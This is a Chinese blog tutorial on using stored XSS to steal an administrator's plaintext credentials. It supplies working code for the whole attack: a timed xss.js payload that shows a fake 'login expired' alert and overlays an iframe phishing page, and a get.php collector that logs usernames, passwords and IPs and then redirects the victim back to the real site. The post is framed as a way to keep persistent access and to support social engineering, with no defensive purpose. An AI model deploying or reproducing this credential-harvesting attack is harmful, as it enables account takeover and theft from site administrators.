js获取header_【超详细入门教程】通过xss获取管理员明文账号密码

0x00  前言

本文所讲的知识点很早就有,只是因为最近小伙伴讨论的比较多,而且很多小伙伴不太明确流程,故有了此文,大佬请忽略

xss大家都不陌生,最常用的就是打管理员的cookie然后拿到后台权限。

但是在实战过程中会碰到很多因素导致无法获得权限或者权限维持困难,下面列举了三点。

随着开发者安全意识的提高,现在基本上都是开了httponly了,也就是说xss无法读取到cookie了(除了包含登录信息外的cookie一般还是可以获取的),这是其一。

cookie具有时效性,比如说获取到的cookie过期了,而管理员又没有进行第二次登录并触发的情况下,你的权限就掉了,这是其二。

xss漏洞已修复,并且之前的代码已被删除或者无法触发(比如说xss在一个留言处,当后面有很多留言时,你的代码可能就到下一页去了,管理员也一般不会去翻,也就不会触发),这是其三

所以本篇文章就来介绍通过xss来获取管理员的账号密码,实现权限的维持,而且获取了账号密码,用途还有很多,比如说社工。

0x01 流程

ff838f5afa3d7b177fefe41017a1e8ab.png

打字描述不太直观,直接上一个流程图

0x02 准备工作

根据流程图中所展示,我们需要一个钓鱼页面(高仿原登录页面)和一个数据接收文件。为了简单明了的演示,这里准备了以下文件:

admin_login.html  //原管理登录页面admin_index.html  //原管理后台页面fish.html         //我们高仿的登录页面,也就是钓鱼页get.php           //数据接收文件xss.js            //xss的payload

代码量很小,我在这里直接贴出来

//admin_login.html  原管理登录页面管理员登录用户名:密码: 
//admin_index.html  原管理后台页面<body><head><title>管理员后台title>head><h1>这里是管理员后台,你已成功登录h1><button type="button">一键日卫星button><hr><b>最新留言b><ul><li>说书人长得好帅li><li>楼上说得对<script src= "http://127.0.0.1/xss.js">script>li>ul>body>html>
//fish.html  我们仿的登录页面,也就是钓鱼页<head><title>管理员登录title>head>"post" action=用户名:密码: 
//get.php  数据接收文件<?php $line = '----------------------------------'."\r\n";$user = '账号:'.$_POST['username']."\r\n";$pwd = '密码:'.$_POST['password']."\r\n";$ip = 'IP:'.getenv('REMOTE_ADDR')."\r\n";$url = '钓鱼模板:'.getenv('HTTP_REFERER')."\r\n";$date ='日期:'. date("Y-m-d")."\r\n";$result = $line.$url.$user.$pwd.$ip.$date;file_put_contents('good.txt',$result, FILE_APPEND);header("Location: http://127.0.0.1/admin_index.html");?>
//xss.js  xss的payloadsetTimeout(function() {    alert("登陆过期,请重新登陆!");    parent.document.writeln(");    setTimeout(function() {        document.getElementsByTagName("body")[0].setAttribute("style", "margin: 2px;");    },    100);    setTimeout(function() {        parent.document.getElementsByTagName("body")[0].setAttribute("style", "margin: 0px;");    },    100);},600000);

0x03 本地演示

首先管理员登录后台后,xss触发了,弹窗提示登录过期,需要重新登录

75896672d72c7f9db9b3b13b9651a937.png

然后出来的是iframe的钓鱼页面,注意地址没有跳转到我们的钓鱼页面url

6cc9d53e46992b66a06d05642315d282.png

管理员输入完账号密码后,又跳转回真实的后台页面,由于登录信息并没有失效,所以刚刚的登录仿真度极高。于此同时,我们的接收程序已经将管理员账号密码保存到了我们的钓鱼服务器上

eda3c4990f4fd0fa3d07f44dfedc1d60.png

0x04  结尾

xss.js的第14行的600000指的是每10分钟执行一次,符合一般的过期规则,大家也可以自行修改。由于仿真度极高,不易察觉,所以权限维持率高。

----------

扫一扫关注我们

65dcf0d929daabffaff6db731ed33ddc.png实验室也即将正式启动,欢迎各位有能力的大师傅、和正在努力向上的兄弟前来入驻,联系下方小Tone

fbbfe18c8c38061963ec440d0e496fa0.png

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值